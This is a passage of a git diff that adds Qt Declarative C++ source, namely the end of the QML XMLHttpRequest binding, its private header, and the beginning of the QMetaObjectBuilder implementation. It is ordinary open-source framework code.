+ return v;
+ } else {
+ return dataObject.property(QLatin1String("callback"));
+ }
+}
+
+// Constructor
+static QScriptValue qmlxmlhttprequest_new(QScriptContext *context, QScriptEngine *engine)
+{
+ if (context->isCalledAsConstructor()) {
+ context->thisObject().setData(engine->newQObject(new QDeclarativeXMLHttpRequest(QDeclarativeScriptEngine::get(engine)->networkAccessManager()), QScriptEngine::ScriptOwnership));
+ }
+ return engine->undefinedValue();
+}
+
+void qt_add_qmlxmlhttprequest(QScriptEngine *engine)
+{
+ QScriptValue prototype = engine->newObject();
+
+ // Methods
+ prototype.setProperty(QLatin1String("open"), engine->newFunction(qmlxmlhttprequest_open, 2));
+ prototype.setProperty(QLatin1String("setRequestHeader"), engine->newFunction(qmlxmlhttprequest_setRequestHeader, 2));
+ prototype.setProperty(QLatin1String("send"), engine->newFunction(qmlxmlhttprequest_send));
+ prototype.setProperty(QLatin1String("abort"), engine->newFunction(qmlxmlhttprequest_abort));
+ prototype.setProperty(QLatin1String("getResponseHeader"), engine->newFunction(qmlxmlhttprequest_getResponseHeader, 1));
+ prototype.setProperty(QLatin1String("getAllResponseHeaders"), engine->newFunction(qmlxmlhttprequest_getAllResponseHeaders));
+
+ // Read-only properties
+ prototype.setProperty(QLatin1String("readyState"), engine->newFunction(qmlxmlhttprequest_readyState), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ prototype.setProperty(QLatin1String("status"), engine->newFunction(qmlxmlhttprequest_status), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ prototype.setProperty(QLatin1String("statusText"), engine->newFunction(qmlxmlhttprequest_statusText), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ prototype.setProperty(QLatin1String("responseText"), engine->newFunction(qmlxmlhttprequest_responseText), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ prototype.setProperty(QLatin1String("responseXML"), engine->newFunction(qmlxmlhttprequest_responseXML), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+ prototype.setProperty(QLatin1String("onreadystatechange"), engine->newFunction(qmlxmlhttprequest_onreadystatechange), QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+
+ // State values
+ prototype.setProperty(QLatin1String("UNSENT"), 0, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ prototype.setProperty(QLatin1String("OPENED"), 1, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ prototype.setProperty(QLatin1String("HEADERS_RECEIVED"), 2, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ prototype.setProperty(QLatin1String("LOADING"), 3, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ prototype.setProperty(QLatin1String("DONE"), 4, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+
+ // Constructor
+ QScriptValue constructor = engine->newFunction(qmlxmlhttprequest_new, prototype);
+ constructor.setProperty(QLatin1String("UNSENT"), 0, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ constructor.setProperty(QLatin1String("OPENED"), 1, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ constructor.setProperty(QLatin1String("HEADERS_RECEIVED"), 2, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ constructor.setProperty(QLatin1String("LOADING"), 3, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ constructor.setProperty(QLatin1String("DONE"), 4, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ engine->globalObject().setProperty(QLatin1String("XMLHttpRequest"), constructor);
+
+ // DOM Exception
+ QScriptValue domExceptionPrototype = engine->newObject();
+ domExceptionPrototype.setProperty(QLatin1String("INDEX_SIZE_ERR"), INDEX_SIZE_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("DOMSTRING_SIZE_ERR"), DOMSTRING_SIZE_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("HIERARCHY_REQUEST_ERR"), HIERARCHY_REQUEST_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("WRONG_DOCUMENT_ERR"), WRONG_DOCUMENT_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("INVALID_CHARACTER_ERR"), INVALID_CHARACTER_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("NO_DATA_ALLOWED_ERR"), NO_DATA_ALLOWED_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("NO_MODIFICATION_ALLOWED_ERR"), NO_MODIFICATION_ALLOWED_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("NOT_FOUND_ERR"), NOT_FOUND_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("NOT_SUPPORTED_ERR"), NOT_SUPPORTED_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("INUSE_ATTRIBUTE_ERR"), INUSE_ATTRIBUTE_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("INVALID_STATE_ERR"), INVALID_STATE_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("SYNTAX_ERR"), SYNTAX_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("INVALID_MODIFICATION_ERR"), INVALID_MODIFICATION_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("NAMESPACE_ERR"), NAMESPACE_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("INVALID_ACCESS_ERR"), INVALID_ACCESS_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("VALIDATION_ERR"), VALIDATION_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ domExceptionPrototype.setProperty(QLatin1String("TYPE_MISMATCH_ERR"), TYPE_MISMATCH_ERR, QScriptValue::ReadOnly | QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+
+ engine->globalObject().setProperty(QLatin1String("DOMException"), domExceptionPrototype);
+}
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_XMLSTREAMREADER
+
+#include <qdeclarativexmlhttprequest.moc>
diff --git a/src/declarative/qml/qdeclarativexmlhttprequest_p.h b/src/declarative/qml/qdeclarativexmlhttprequest_p.h
new file mode 100644
index 00000000..c7d3ebb6
--- /dev/null
+++ b/src/declarative/qml/qdeclarativexmlhttprequest_p.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEXMLHTTPREQUEST_P_H
+#define QDECLARATIVEXMLHTTPREQUEST_P_H
+
+#include <QtScript/qscriptengine.h>
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+#ifndef QT_NO_XMLSTREAMREADER
+
+QT_BEGIN_NAMESPACE
+
+class QScriptEngine;
+void qt_add_qmlxmlhttprequest(QScriptEngine *engine);
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_XMLSTREAMREADER
+
+#endif // QDECLARATIVEXMLHTTPREQUEST_P_H
+
diff --git a/src/declarative/qml/qmetaobjectbuilder.cpp b/src/declarative/qml/qmetaobjectbuilder.cpp
new file mode 100644
index 00000000..0648914f
--- /dev/null
+++ b/src/declarative/qml/qmetaobjectbuilder.cpp
@@ -0,0 +1,2601 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qmetaobjectbuilder_p.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QMetaObjectBuilder
+ \internal
+ \brief The QMetaObjectBuilder class supports building QMetaObject objects at runtime.
+
+*/
+
+/*!
+ \enum QMetaObjectBuilder::AddMember
+ This enum defines which members of QMetaObject should be copied by QMetaObjectBuilder::addMetaObject()
+
+ \value ClassName Add the class name.
+ \value SuperClass Add the super class.
+ \value Methods Add methods that aren't signals or slots.
+ \value Signals Add signals.
+ \value Slots Add slots.
+ \value Constructors Add constructors.
+ \value Properties Add properties.
+ \value Enumerators Add enumerators.
+ \value ClassInfos Add items of class information.
+ \value RelatedMetaObjects Add related meta objects.
+ \value StaticMetacall Add the static metacall function.
+ \value PublicMethods Add public methods (ignored for signals).
+ \value ProtectedMethods Add protected methods (ignored for signals).
+ \value PrivateMethods All private methods (ignored for signals).
+ \value AllMembers Add all members.
+ \value AllPrimaryMembers Add everything except the class name, super class, and static metacall function.
+*/
+
+// copied from moc's generator.cpp
+uint qvariant_nameToType(const char* name)
+{
+ if (!name)
+ return 0;
+
+ if (strcmp(name, "QVariant") == 0)
+ return 0xffffffff;
+ if (strcmp(name, "QCString") == 0)
+ return QMetaType::QByteArray;
+ if (strcmp(name, "Q_LLONG") == 0)
+ return QMetaType::LongLong;
+ if (strcmp(name, "Q_ULLONG") == 0)
+ return QMetaType::ULongLong;
+ if (strcmp(name, "QIconSet") == 0)
+ return QMetaType::QIcon;
+
+ uint tp = QMetaType::type(name);
+ return tp < QMetaType::User ? tp : 0;
+}
+
+/*
+ Returns true if the type is a QVariant types.
+*/
+bool isVariantType(const char* type)
+{
+ return qvariant_nameToType(type) != 0;
+}
+
+// copied from qmetaobject_p.h
+// do not touch without touching the moc as well
+enum PropertyFlags {
+ Invalid = 0x00000000,
+ Readable = 0x00000001,
+ Writable = 0x00000002,
+ Resettable = 0x00000004,
+ EnumOrFlag = 0x00000008,
+ StdCppSet = 0x00000100,
+// Override = 0x00000200,
+ Constant = 0x00000400,
+ Final = 0x00000800,
+ Designable = 0x00001000,
+ ResolveDesignable = 0x00002000,
+ Scriptable = 0x00004000,
+ ResolveScriptable = 0x00008000,
+ Stored = 0x00010000,
+ ResolveStored = 0x00020000,
+ Editable = 0x00040000,
+ ResolveEditable = 0x00080000,
+ User = 0x00100000,
+ ResolveUser = 0x00200000,
+ Notify = 0x00400000,
+ Revisioned = 0x00800000
+};
+
+enum MethodFlags {
+ AccessPrivate = 0x00,
+ AccessProtected = 0x01,
+ AccessPublic = 0x02,
+ AccessMask = 0x03, //mask
+
+ MethodMethod = 0x00,
+ MethodSignal = 0x04,
+ MethodSlot = 0x08,
+ MethodConstructor = 0x0c,
+ MethodTypeMask = 0x0c,
+
+ MethodCompatibility = 0x10,
+ MethodCloned = 0x20,
+ MethodScriptable = 0x40,
+ MethodRevisioned = 0x80
+};
+
+struct QMetaObjectPrivate
+{
+ int revision;
+ int className;
+ int classInfoCount, classInfoData;
+ int methodCount, methodData;
+ int propertyCount, propertyData;
+ int enumeratorCount, enumeratorData;
+ int constructorCount, constructorData;
+ int flags;
+};
+
+static inline const QMetaObjectPrivate *priv(const uint* data)
+{ return reinterpret_cast<const QMetaObjectPrivate*>(data); }
+// end of copied lines from qmetaobject.cpp
+
+class QMetaMethodBuilderPrivate
+{
+public:
+ QMetaMethodBuilderPrivate
+ (QMetaMethod::MethodType _methodType,
+ const QByteArray& _signature,
+ const QByteArray& _returnType = QByteArray(),
+ QMetaMethod::Access _access = QMetaMethod::Public)
+ : signature(QMetaObject::normalizedSignature(_signature.constData())),
+ returnType(QMetaObject::normalizedType(_returnType)),
+ attributes(((int)_access) | (((int)_methodType) << 2))
+ {
+ }
+
+ QByteArray signature;
+ QByteArray returnType;
+ QList<QByteArray> parameterNames;
+ QByteArray tag;
+ int attributes;
+
+ QMetaMethod::MethodType methodType() const
+ {
+ return (QMetaMethod::MethodType)((attributes & MethodTypeMask) >> 2);
+ }
+
+ QMetaMethod::Access access() const
+ {
+ return (QMetaMethod::Access)(attributes & AccessMask);
+ }
+
+ void setAccess(QMetaMethod::Access value)
+ {
+ attributes = ((attributes & ~AccessMask) | (int)value);
+ }
+};
+
+class QMetaPropertyBuilderPrivate
+{
+public:
+ QMetaPropertyBuilderPrivate
+ (const QByteArray& _name, const QByteArray& _type, int notifierIdx=-1)
+ : name(_name),
+ type(QMetaObject::normalizedType(_type.constData())),
+ flags(Readable | Writable | Scriptable), notifySignal(-1)
+ {
+ if (notifierIdx >= 0) {
+ flags |= Notify;
+ notifySignal = notifierIdx;
+ }
+ }
+
+ QByteArray name;
+ QByteArray type;
+ int flags;
+ int notifySignal;
+
+ bool flag(int f) const
+ {
+ return ((flags & f) != 0);
+ }
+
+ void setFlag(int f, bool value)
+ {
+ if (value)
+ flags |= f;
+ else
+ flags &= ~f;
+ }
+};
+
+class QMetaEnumBuilderPrivate
+{
+public:
+ QMetaEnumBuilderPrivate(const QByteArray& _name)
+ : name(_name), isFlag(false)
+ {
+ }
+
+ QByteArray name;
+ bool isFlag;
+ QList<QByteArray> keys;
+ QList<int> values;
+};
+
+class QMetaObjectBuilderPrivate
+{
+public:
+ QMetaObjectBuilderPrivate()
+ : flags(0)
+ {
+ superClass = &QObject::staticMetaObject;
+ staticMetacallFunction = 0;
+ }
+
+ QByteArray className;
+ const QMetaObject *superClass;
+ QMetaObjectBuilder::StaticMetacallFunction staticMetacallFunction;
+ QList<QMetaMethodBuilderPrivate> methods;
+ QList<QMetaMethodBuilderPrivate> constructors;
+ QList<QMetaPropertyBuilderPrivate> properties;
+ QList<QByteArray> classInfoNames;
+ QList<QByteArray> classInfoValues;
+ QList<QMetaEnumBuilderPrivate> enumerators;
+#ifdef Q_NO_DATA_RELOCATION
+ QList<QMetaObjectAccessor> relatedMetaObjects;
+#else
+ QList<const QMetaObject *> relatedMetaObjects;
+#endif
+ int flags;
+};
+
+/*!
+ Constructs a new QMetaObjectBuilder.
+*/
+QMetaObjectBuilder::QMetaObjectBuilder()
+{
+ d = new QMetaObjectBuilderPrivate();
+}
+
+/*!
+ Constructs a new QMetaObjectBuilder which is a copy of the
+ meta object information in \a prototype. Note: the super class
+ contents for \a prototype are not copied, only the immediate
+ class that is defined by \a prototype.
+
+ The \a members parameter indicates which members of \a prototype
+ should be added. The default is AllMembers.
+
+ \sa addMetaObject()
+*/
+QMetaObjectBuilder::QMetaObjectBuilder
+ (const QMetaObject *prototype, QMetaObjectBuilder::AddMembers members)
+{
+ d = new QMetaObjectBuilderPrivate();
+ addMetaObject(prototype, members);
+}
+
+/*!
+ Destroys this meta object builder.
+*/
+QMetaObjectBuilder::~QMetaObjectBuilder()
+{
+ delete d;
+}
+
+/*!
+ Returns the name of the class being constructed by this
+ meta object builder. The default value is an empty QByteArray.
+
+ \sa setClassName(), superClass()
+*/
+QByteArray QMetaObjectBuilder::className() const
+{
+ return d->className;
+}
+
+/*!
+ Sets the \a name of the class being constructed by this
+ meta object builder.
+
+ \sa className(), setSuperClass()
+*/
+void QMetaObjectBuilder::setClassName(const QByteArray& name)
+{
+ d->className = name;
+}
+
+/*!
+ Returns the superclass meta object of the class being constructed
+ by this meta object builder. The default value is the meta object
+ for QObject.
+
+ \sa setSuperClass(), className()
+*/
+const QMetaObject *QMetaObjectBuilder::superClass() const
+{
+ return d->superClass;
+}
+
+/*!
+ Sets the superclass meta object of the class being constructed
+ by this meta object builder to \a meta. The \a meta parameter
+ must not be null.
+
+ \sa superClass(), setClassName()
+*/
+void QMetaObjectBuilder::setSuperClass(const QMetaObject *meta)
+{
+ Q_ASSERT(meta);
+ d->superClass = meta;
+}
+
+/*!
+ Returns the flags of the class being constructed by this meta object
+ builder.
+
+ \sa setFlags()
+*/
+QMetaObjectBuilder::MetaObjectFlags QMetaObjectBuilder::flags() const
+{
+ return (QMetaObjectBuilder::MetaObjectFlags)d->flags;
+}
+
+/*!
+ Sets the \a flags of the class being constructed by this meta object
+ builder.
+
+ \sa flags()
+*/
+void QMetaObjectBuilder::setFlags(MetaObjectFlags flags)
+{
+ d->flags = flags;
+}
+
+/*!
+ Returns the number of methods in this class, excluding the number
+ of methods in the base class. These include signals and slots
+ as well as normal member functions.
+
+ \sa addMethod(), method(), removeMethod(), indexOfMethod()
+*/
+int QMetaObjectBuilder::methodCount() const
+{
+ return d->methods.size();
+}
+
+/*!
+ Returns the number of constructors in this class.
+
+ \sa addConstructor(), constructor(), removeConstructor(), indexOfConstructor()
+*/
+int QMetaObjectBuilder::constructorCount() const
+{
+ return d->constructors.size();
+}
+
+/*!
+ Returns the number of properties in this class, excluding the number
+ of properties in the base class.
+
+ \sa addProperty(), property(), removeProperty(), indexOfProperty()
+*/
+int QMetaObjectBuilder::propertyCount() const
+{
+ return d->properties.size();
+}
+
+/*!
+ Returns the number of enumerators in this class, excluding the
+ number of enumerators in the base class.
+
+ \sa addEnumerator(), enumerator(), removeEnumerator()
+ \sa indexOfEnumerator()
+*/
+int QMetaObjectBuilder::enumeratorCount() const
+{
+ return d->enumerators.size();
+}
+
+/*!
+ Returns the number of items of class information in this class,
+ exclusing the number of items of class information in the base class.
+
+ \sa addClassInfo(), classInfoName(), classInfoValue(), removeClassInfo()
+ \sa indexOfClassInfo()
+*/
+int QMetaObjectBuilder::classInfoCount() const
+{
+ return d->classInfoNames.size();
+}
+
+/*!
+ Returns the number of related meta objects that are associated
+ with this class.
+
+ Related meta objects are used when resolving the enumerated type
+ associated with a property, where the enumerated type is in a
+ different class from the property.
+
+ \sa addRelatedMetaObject(), relatedMetaObject()
+ \sa removeRelatedMetaObject()
+*/
+int QMetaObjectBuilder::relatedMetaObjectCount() const
+{
+ return d->relatedMetaObjects.size();
+}
+
+/*!
+ Adds a new public method to this class with the specified \a signature.
+ Returns an object that can be used to adjust the other attributes
+ of the method. The \a signature will be normalized before it is
+ added to the class.
+
+ \sa method(), methodCount(), removeMethod(), indexOfMethod()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addMethod(const QByteArray& signature)
+{
+ int index = d->methods.size();
+ d->methods.append(QMetaMethodBuilderPrivate(QMetaMethod::Method, signature));
+ return QMetaMethodBuilder(this, index);
+}
+
+/*!
+ Adds a new public method to this class with the specified
+ \a signature and \a returnType. Returns an object that can be
+ used to adjust the other attributes of the method. The \a signature
+ and \a returnType will be normalized before they are added to
+ the class. If \a returnType is empty, then it indicates that
+ the method has \c{void} as its return type.
+
+ \sa method(), methodCount(), removeMethod(), indexOfMethod()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addMethod
+ (const QByteArray& signature, const QByteArray& returnType)
+{
+ int index = d->methods.size();
+ d->methods.append(QMetaMethodBuilderPrivate
+ (QMetaMethod::Method, signature, returnType));
+ return QMetaMethodBuilder(this, index);
+}
+
+/*!
+ Adds a new public method to this class that has the same information as
+ \a prototype. This is used to clone the methods of an existing
+ QMetaObject. Returns an object that can be used to adjust the
+ attributes of the method.
+
+ This function will detect if \a prototype is an ordinary method,
+ signal, slot, or constructor and act accordingly.
+
+ \sa method(), methodCount(), removeMethod(), indexOfMethod()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addMethod(const QMetaMethod& prototype)
+{
+ QMetaMethodBuilder method;
+ if (prototype.methodType() == QMetaMethod::Method)
+ method = addMethod(prototype.signature());
+ else if (prototype.methodType() == QMetaMethod::Signal)
+ method = addSignal(prototype.signature());
+ else if (prototype.methodType() == QMetaMethod::Slot)
+ method = addSlot(prototype.signature());
+ else if (prototype.methodType() == QMetaMethod::Constructor)
+ method = addConstructor(prototype.signature());
+ method.setReturnType(prototype.typeName());
+ method.setParameterNames(prototype.parameterNames());
+ method.setTag(prototype.tag());
+ method.setAccess(prototype.access());
+ method.setAttributes(prototype.attributes());
+ return method;
+}
+
+/*!
+ Adds a new public slot to this class with the specified \a signature.
+ Returns an object that can be used to adjust the other attributes
+ of the slot. The \a signature will be normalized before it is
+ added to the class.
+
+ \sa addMethod(), addSignal(), indexOfSlot()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addSlot(const QByteArray& signature)
+{
+ int index = d->methods.size();
+ d->methods.append(QMetaMethodBuilderPrivate(QMetaMethod::Slot, signature));
+ return QMetaMethodBuilder(this, index);
+}
+
+/*!
+ Adds a new signal to this class with the specified \a signature.
+ Returns an object that can be used to adjust the other attributes
+ of the signal. The \a signature will be normalized before it is
+ added to the class.
+
+ \sa addMethod(), addSlot(), indexOfSignal()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addSignal(const QByteArray& signature)
+{
+ int index = d->methods.size();
+ d->methods.append(QMetaMethodBuilderPrivate
+ (QMetaMethod::Signal, signature, QByteArray(), QMetaMethod::Protected));
+ return QMetaMethodBuilder(this, index);
+}
+
+/*!
+ Adds a new constructor to this class with the specified \a signature.
+ Returns an object that can be used to adjust the other attributes
+ of the constructor. The \a signature will be normalized before it is
+ added to the class.
+
+ \sa constructor(), constructorCount(), removeConstructor()
+ \sa indexOfConstructor()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addConstructor(const QByteArray& signature)
+{
+ int index = d->constructors.size();
+ d->constructors.append(QMetaMethodBuilderPrivate(QMetaMethod::Constructor, signature));
+ return QMetaMethodBuilder(this, -(index + 1));
+}
+
+/*!
+ Adds a new constructor to this class that has the same information as
+ \a prototype. This is used to clone the constructors of an existing
+ QMetaObject. Returns an object that can be used to adjust the
+ attributes of the constructor.
+
+ This function requires that \a prototype be a constructor.
+
+ \sa constructor(), constructorCount(), removeConstructor()
+ \sa indexOfConstructor()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::addConstructor(const QMetaMethod& prototype)
+{
+ Q_ASSERT(prototype.methodType() == QMetaMethod::Constructor);
+ QMetaMethodBuilder ctor = addConstructor(prototype.signature());
+ ctor.setReturnType(prototype.typeName());
+ ctor.setParameterNames(prototype.parameterNames());
+ ctor.setTag(prototype.tag());
+ ctor.setAccess(prototype.access());
+ ctor.setAttributes(prototype.attributes());
+ return ctor;
+}
+
+/*!
+ Adds a new readable/writable property to this class with the
+ specified \a name and \a type. Returns an object that can be used
+ to adjust the other attributes of the property. The \a type will
+ be normalized before it is added to the class. \a notifierId will
+ be registered as the property's \e notify signal.
+
+ \sa property(), propertyCount(), removeProperty(), indexOfProperty()
+*/
+QMetaPropertyBuilder QMetaObjectBuilder::addProperty
+ (const QByteArray& name, const QByteArray& type, int notifierId)
+{
+ int index = d->properties.size();
+ d->properties.append(QMetaPropertyBuilderPrivate(name, type, notifierId));
+ return QMetaPropertyBuilder(this, index);
+}
+
+/*!
+ Adds a new property to this class that has the same information as
+ \a prototype. This is used to clone the properties of an existing
+ QMetaObject. Returns an object that can be used to adjust the
+ attributes of the property.
+
+ \sa property(), propertyCount(), removeProperty(), indexOfProperty()
+*/
+QMetaPropertyBuilder QMetaObjectBuilder::addProperty(const QMetaProperty& prototype)
+{
+ QMetaPropertyBuilder property = addProperty(prototype.name(), prototype.typeName());
+ property.setReadable(prototype.isReadable());
+ property.setWritable(prototype.isWritable());
+ property.setResettable(prototype.isResettable());
+ property.setDesignable(prototype.isDesignable());
+ property.setScriptable(prototype.isScriptable());
+ property.setStored(prototype.isStored());
+ property.setEditable(prototype.isEditable());
+ property.setUser(prototype.isUser());
+ property.setStdCppSet(prototype.hasStdCppSet());
+ property.setEnumOrFlag(prototype.isEnumType());
+ property.setConstant(prototype.isConstant());
+ property.setFinal(prototype.isFinal());
+ if (prototype.hasNotifySignal()) {
+ // Find an existing method for the notify signal, or add a new one.
+ QMetaMethod method = prototype.notifySignal();
+ int index = indexOfMethod(method.signature());
+ if (index == -1)
+ index = addMethod(method).index();
+ d->properties[property._index].notifySignal = index;
+ d->properties[property._index].setFlag(Notify, true);
+ }
+ return property;
+}
+
+/*!
+ Adds a new enumerator to this class with the specified
+ \a name. Returns an object that can be used to adjust
+ the other attributes of the enumerator.
+
+ \sa enumerator(), enumeratorCount(), removeEnumerator(),
+ \sa indexOfEnumerator()
+*/
+QMetaEnumBuilder QMetaObjectBuilder::addEnumerator(const QByteArray& name)
+{
+ int index = d->enumerators.size();
+ d->enumerators.append(QMetaEnumBuilderPrivate(name));
+ return QMetaEnumBuilder(this, index);
+}
+
+/*!
+ Adds a new enumerator to this class that has the same information as
+ \a prototype. This is used to clone the enumerators of an existing
+ QMetaObject. Returns an object that can be used to adjust the
+ attributes of the enumerator.
+
+ \sa enumerator(), enumeratorCount(), removeEnumerator(),
+ \sa indexOfEnumerator()
+*/
+QMetaEnumBuilder QMetaObjectBuilder::addEnumerator(const QMetaEnum& prototype)
+{
+ QMetaEnumBuilder en = addEnumerator(prototype.name());
+ en.setIsFlag(prototype.isFlag());
+ int count = prototype.keyCount();
+ for (int index = 0; index < count; ++index)
+ en.addKey(prototype.key(index), prototype.value(index));
+ return en;
+}
+
+/*!
+ Adds \a name and \a value as an item of class information to this class.
+ Returns the index of the new item of class information.
+
+ \sa classInfoCount(), classInfoName(), classInfoValue(), removeClassInfo()
+ \sa indexOfClassInfo()
+*/
+int QMetaObjectBuilder::addClassInfo(const QByteArray& name, const QByteArray& value)
+{
+ int index = d->classInfoNames.size();
+ d->classInfoNames += name;
+ d->classInfoValues += value;
+ return index;
+}
+
+/*!
+ Adds \a meta to this class as a related meta object. Returns
+ the index of the new related meta object entry.
+
+ Related meta objects are used when resolving the enumerated type
+ associated with a property, where the enumerated type is in a
+ different class from the property.
+
+ \sa relatedMetaObjectCount(), relatedMetaObject()
+ \sa removeRelatedMetaObject()
+*/
+#ifdef Q_NO_DATA_RELOCATION
+int QMetaObjectBuilder::addRelatedMetaObject(const QMetaObjectAccessor &meta)
+#else
+int QMetaObjectBuilder::addRelatedMetaObject(const QMetaObject *meta)
+#endif
+{
+ Q_ASSERT(meta);
+ int index = d->relatedMetaObjects.size();
+ d->relatedMetaObjects.append(meta);
+ return index;
+}
+
+/*!
+ Adds the contents of \a prototype to this meta object builder.
+ This function is useful for cloning the contents of an existing QMetaObject.
+
+ The \a members parameter indicates which members of \a prototype
+ should be added. The default is AllMembers.
+*/
+void QMetaObjectBuilder::addMetaObject
+ (const QMetaObject *prototype, QMetaObjectBuilder::AddMembers members)
+{
+ Q_ASSERT(prototype);
+ int index;
+
+ if ((members & ClassName) != 0)
+ d->className = prototype->className();
+
+ if ((members & SuperClass) != 0)
+ d->superClass = prototype->superClass();
+
